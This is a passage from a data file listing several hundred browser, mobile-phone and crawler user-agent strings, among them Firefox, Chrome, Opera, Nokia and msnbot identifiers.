Version/4.0.4 Safari/531.21.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 Firebird/0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a3)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.6)\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.10)\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.1)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.1)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1)\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.1)\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.1)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.1)\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.1)\nMozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.1)\nMozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: )\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)\nMozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2\nMozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0\nMozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nMozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.64 Safari/537.36\nMozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nMozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1\nMozilla/5.0 (X11; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) QupZilla/1.2.0 Safari/534.34\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.825.0 Chrome/14.0.825.0 Safari/535.1\nMozilla/5.0 (X11; Linux i686) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.10 Chromium/15.0.874.120 Chrome/15.0.874.120 Safari/535.2\nMozilla/5.0 (X11; Linux i686; rv:1.7.5)\nMozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nMozilla/5.0 (X11; Linux i686; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre\nMozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0\nMozilla/5.0 (X11; Linux i686; rv:6.0a2) Gecko/20110615 Firefox/6.0a2 Iceweasel/6.0a2\nMozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0\nMozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1\nMozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/77.0.3865.90 Chrome/77.0.3865.90 Safari/537.36\nMozilla/5.0 (X11; Linux x86_64; en-US; rv:2.0b2pre) Gecko/20100712 Minefield/4.0b2pre\nMozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nMozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre\nMozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0\nMozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1\nMozilla/5.0 (X11; Linux x86_64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1\nMozilla/5.0 (X11; Linux x86_64; rv:11.0a2) Gecko/20111230 Firefox/11.0a2 Iceweasel/11.0a2\nMozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101  Firefox/28.0\nMozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0\nMozilla/5.0 (X11; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0\nMozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0\nMozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0\nMozilla/5.0 (X11; U; FreeBSD amd64; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0\nMozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8\nMozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15\nMozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20060202 Firefox/1.5\nMozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16\nMozilla/5.0 (X11; U; FreeBSD; i386; en-US; rv:1.7) Gecko\nMozilla/5.0 (X11; U; IRIX64 IP27; en-US; rv:1.4) Gecko/20030711\nMozilla/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.11) Gecko/20071130 Minimo/0.025\nMozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020\nMozilla/5.0 (X11; U; Linux armv7l like Android; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/533.2+ Kindle/3.0+\nMozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1\nMozilla/5.0 (X11; U; Linux i586; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4 (Ubuntu)\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4.1)\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20051013 Debian/1.7.12-1ubuntu1\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.4) Gecko/20030624\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12)\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8b4)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8)\nMozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5 (KHTML, like Gecko, Safari/528.5 ) lt-GtkLauncher\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8\nMozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051008 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060205 Galeon/2.0.0 (Debian package 2.0.0-2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 MG(Novarra-Vision/6.9)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Galeon/2.0.6 (Ubuntu 2.0.6-2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.10 (karmic) Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090803 Ubuntu/9.04 (jaunty) Shiretoko/3.5.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12)\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.9.2.3) Gecko/20100406 Firefox/3.6.3 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8\nMozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.2.3) Gecko/20100402 Iceweasel/3.6.3 (like Firefox/3.6.3) GTB7.0\nMozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.13) Gecko/20080313 Iceape/1.1.9 (Debian-1.1.9-5)\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15\nMozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092814 (Debian-3.0.1-1)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20091020 Linux Mint/8 (Helena) Firefox/3.5.3\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091107 Firefox/3.5.5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.13) Gecko/20100916 Iceape/2.0.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0\nMozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.1\nMozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Debian/1.6-7\nMozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Epiphany/1.2.5\nMozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Galeon/1.3.14\nMozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.15\nMozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.0.1) Gecko/20060310 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0\nMozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3\nMozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.5\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.8\nMozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.1b3) Gecko/20090429 Firefox/3.1b3\nMozilla/5.0 (X11; U; SunOS sun4m; en-US; rv:1.4b) Gecko/20030517 Mozilla Firebird/0.6\nMozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7) Gecko/20051122\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0\nMozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41\nMozilla/5.0(compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)\nMSIE (MSIE 6.0; X11; Linux; i686) Opera 7.23\nmsnbot-media/1.1 ( http://search.msn.com/msnbot.htm)\nmsnbot/0.9 (+http://search.msn.com/msnbot.htm)\nmsnbot/0.11 ( http://search.msn.com/msnbot.htm)\nmsnbot/1.0 ( http://search.msn.com/msnbot.htm)\nmsnbot/1.0 (+http://search.msn.com/msnbot.htm)\nmsnbot/1.1 ( http://search.msn.com/msnbot.htm)\nNetBSD-ftp/20031210\nNetSurf/1.2 (NetBSD; amd64)\nNokia3230/2.0 (5.0614.0) SymbianOS/7.0s Series60/2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0\nNokia6100/1.0 (04.01) Profile/MIDP-1.0 Configuration/CLDC-1.0\nNokia6230/2.0 (04.44) Profile/MIDP-2.0 Configuration/CLDC-1.1\nNokia6230i/2.0 (03.80) Profile/MIDP-2.0 Configuration/CLDC-1.1\nNokia6630/1.0 (2.3.129) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1\nNokia6630/1.0 (2.39.15) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1\nNokia7250/1.0 (3.14) Profile/MIDP-1.0 Configuration/CLDC-1.0\nNokiaN70-1/5.0609.2.0.1 Series60/2.8 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0\nNokiaN73-1/3.0649.0.0.1 Series60/3.0 Profile/MIDP2.0 Configuration/CLDC-1.1\nnook browser/1.0\nNutchCVS/0.8-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)\nOffline Explorer/2.5\nOpera/5.0 (SunOS 5.8 sun4m; U) [en]\nOpera/7.0 (compatible; MSIE 2.0; Windows 3.1)\nOpera/7.50 (Windows ME; U) [en]\nOpera/7.50 (Windows XP; U)\nOpera/7.51 (Windows NT 5.1; U) [en]\nOpera/8.01 (J2ME/MIDP; Opera Mini/1.0.1479/HiFi; SonyEricsson P900; no; U; ssr)\nOpera/8.01 (Windows NT 5.0; U; de)\nOpera/8.01 (Windows NT 5.1; U; de)\nOpera/8.50 (Windows NT 5.1; U; de)\nOpera/8.51 (Windows NT 5.1; U; en)\nOpera/8.51 (Windows NT 5.1; U; en;VWP-online.de)\nOpera/8.51 (X11; Linux i386; U; de)\nOpera/8.52 (X11; Linux i386; U; de)\nOpera/8.53 (Windows NT 5.0; U; en)\nOpera/8.53 (Windows NT 5.1; U; en)\nOpera/8.54 (Windows NT 5.1; U; de)\nOpera/9.0 (Macintosh; PPC Mac OS X; U; en)\nOpera/9.5 (Microsoft Windows; PPC; Opera Mobi; U) SonyEricssonX1i/R2AA Profile/MIDP-2.0 Configuration/CLDC-1.1\nOpera/9.20 (Macintosh; Intel Mac OS X; U; en)\nOpera/9.20 (Windows NT 6.0; U; en)\nOpera/9.25 (Windows NT 6.0; U; en)\nOpera/9.30 (Nintendo Wii; U; ; 2047-7; en)\nOpera/9.51 Beta (Microsoft Windows; PPC; Opera Mobi/1718; U; en)\nOpera/9.60 (J2ME/MIDP; Opera Mini/4.1.11320/608; U; en) Presto/2.2.0\nOpera/9.60 (J2ME/MIDP; Opera Mini/4.2.14320/554; U; cs) Presto/2.2.0\nOpera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15\nOpera/9.64 (Macintosh; PPC Mac OS X; U; en) Presto/2.1.1\nOpera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1\nOpera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823/1428; U; en) Presto/2.2.0\nOpera/9.80 (Linux armv7l) Presto/2.12.407 Version/12.51 , D50u-D1-UHD/V1.5.16-UHD (Vizio, D50u-D1, Wireless)\nOpera/9.80 (Macintosh; Intel Mac OS X 10.4.11; U; en) Presto/2.7.62 Version/11.00\nOpera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52\nOpera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.6.30 Version/10.61\nOpera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10\nOpera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.00\nOpera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10\nOpera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00\nOpera/9.80 (Windows NT 5.1; U; zh-tw) Presto/2.8.131 Version/11.10\nOpera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.10\nOpera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51\nOpera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.7.62 Version/11.01\nOpera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00\nOpera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18\nOpera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.16\nOpera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.10\nOpera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00\nOpera/10.00 (X11; Linux i686; U; en) Presto/2.2.0\nOpera/10.61 (J2ME/MIDP; Opera Mini/5.1.21219/19.999; en-US; rv:1.9.3a5) WebKit/534.5 Presto/2.6.30\nP3P Validator\nPeach/1.01 (Ubuntu 8.04 LTS; U; en)\nPOLARIS/6.01 (BREW 3.1.5; U; en-us; LG; LX265; POLARIS/6.01/WAP) MMP/2.0 profile/MIDP-2.1 Configuration/CLDC-1.1\nPOLARIS/6.01(BREW 3.1.5;U;en-us;LG;LX265;POLARIS/6.01/WAP;)MMP/2.0 profile/MIDP-201 Configuration /CLDC-1.1\nportalmmm/2.0 N410i(c20;TB)\nPython-urllib/2.5\nRoku4640X/DVP-7.70 (297.70E04154A)\nSAMSUNG-S8000/S8000XXIF3 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 FirePHP/0.3\nSAMSUNG-SGH-A867/A867UCHJ3 SHP/VPP/R5 NetFront/35 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0\nSAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; http://www.google.com/bot.html)\nSearchExpress\nSEC-SGHE900/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1378; nl; U; ssr)\nSEC-SGHX210/1.0 UP.Link/6.3.1.13.0\nSEC-SGHX820/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)\nSonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0\nSonyEricssonK550i/R1JD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK750i/R1CA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonK800i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0\nSonyEricssonK810i/R1KG Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonS500i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSonyEricssonT68/R201A\nSonyEricssonT100/R101\nSonyEricssonT610/R201 Profile/MIDP-1.0 Configuration/CLDC-1.0\nSonyEricssonT650i/R7AA Browser/NetFront/3.3 Profile/MIDP-2.0 